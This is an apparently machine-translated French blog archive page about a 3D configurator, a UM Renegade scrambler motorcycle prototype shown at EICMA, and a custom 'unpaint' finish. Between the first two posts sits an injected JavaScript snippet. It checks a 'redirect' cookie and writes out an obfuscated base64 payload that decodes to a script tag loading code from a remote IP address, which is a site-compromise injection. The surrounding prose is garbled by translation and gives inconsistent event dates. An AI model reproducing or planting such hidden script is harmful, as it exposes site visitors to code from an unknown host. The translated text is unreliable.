Archive pour novembre 2017
Un configurateur 3D global
Un exemple d'une libération possible dans le configurateur 3D en mode WEB.
Il peut également être utilisé en mode plein écran.
Exiger carte vidéo GTX ou similaire.
uot;> fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}
UM RENEGADE SCRAMBLER 300W
L'UM RENEGADE SCRAMBLER 300W est un prototype (showbike) créé pour UM mondial sur la base de leur produit actuellement sur le marché, le renégat COMMANDO.
Sur la motion originale bien sûr, nous avons dû garder autant de pièces que possible pour optimiser le processus d'ingénierie entier et mis en production, nous avons également réutilisé certaines des pièces de production réelles UM entreprise afin consertire une économie d'échelle avantageuse.
Le principal changement a évidemment affecté les nouvelles dimensions de roues ( 120/70 R19 Ant. e 170/60 R17 Post.) nous avons dû utiliser pour donner le vélo une nouvelle garniture enduro, Nous hubs existants réémise puis avec une nouvelle série de Takasago Excel et gravit les panciutissimi et tassellatissimi Continental TKC 80.
De même, nous avons dû intervenir pour soulever le vélo sur le plateau, puis l'arrière nous avons opté pour deux amortisseurs 380mm, tandis que la fourche est restée la série pour limiter les investissements.
Pour superstructures nous avons attiré avec plaisir par ceux qui sont la production en série componentistic UM, toujours au plus haut niveau considéré comme la fin du marché, le mélange des éléments classiques avec des pièces plus modernes, et dans certains cas "perturbateur" comme la protection anti-encastrement en tôle de 4 mm en notre technique "Fiche-Box". Nous avons aussi connu une première dans le domaine de la moto, à savoir la création de composants en bois fabriqués à partir de la conception 3D par fraisage à commande numérique (CNC), et en "joues" réservoir avec un palier de forme parfaite sur les surfaces du réservoir d'origine et certains détails dans la région arrière.
Le reste des pièces sont fabriquées dans l'impression 3D, mais aussi par des artisans locaux, la belle sellerie en cuir est un exemple, mais aussi les garde-boue en tôle ne plaisante pas.
Le vélo a été présenté au salon de la moto EICMA à Milan 2018 et selon beaucoup est l'une des caractéristiques les plus intéressantes que l'on voit.
Nous venons de EICMA 2017
Une belle galerie de photos de l'événement EICMA à l'UM position mondiale qui nous a vu la création de participiez du prototype que vous pouvez voir dans les images et la préparation du "coin personnalisation". L'objectif des deux projets était d'évaluer la réponse du marché italien au mouvement produit UM et aussi d'analyser les nouvelles possibilités offertes par la personnalisation "à la demande" liés au prototypage et aux techniques modernes d'impression 3D.
Les résultats en termes de réponse du public a été extrêmement enrichissante.
Merci à tous ceux qui sont allés à nous saluer et de voir ce que nous avons fait.
H2 – FINISH “unpaint”
L »"unpaint" est un processus de finition que nous avons développé en DONNÉ.
Il est une proposition de personnalisation "legère" pour les vélos qui ont déjà un bon style ou la conception, il y a beaucoup et aujourd'hui ... sur laquelle nous ne voulons pas l'idée d'intervenir trop.
alors une procédure mini-invasive, qui conserve les caractéristiques fonctionnelles de la série de mouvement (appariements, la qualité et la fonctionnalité), tout en donnant à la moto un look plus personnel, le plus expérimenté et aussi plus facile à utiliser.
La finale est rien de plus qu'un processus de longue correspondance avec différentes cartes de grains, bases de couleurs qui sont ensuite mélangées, graphique, logos, divers autocollants et enfin vernis transparent.
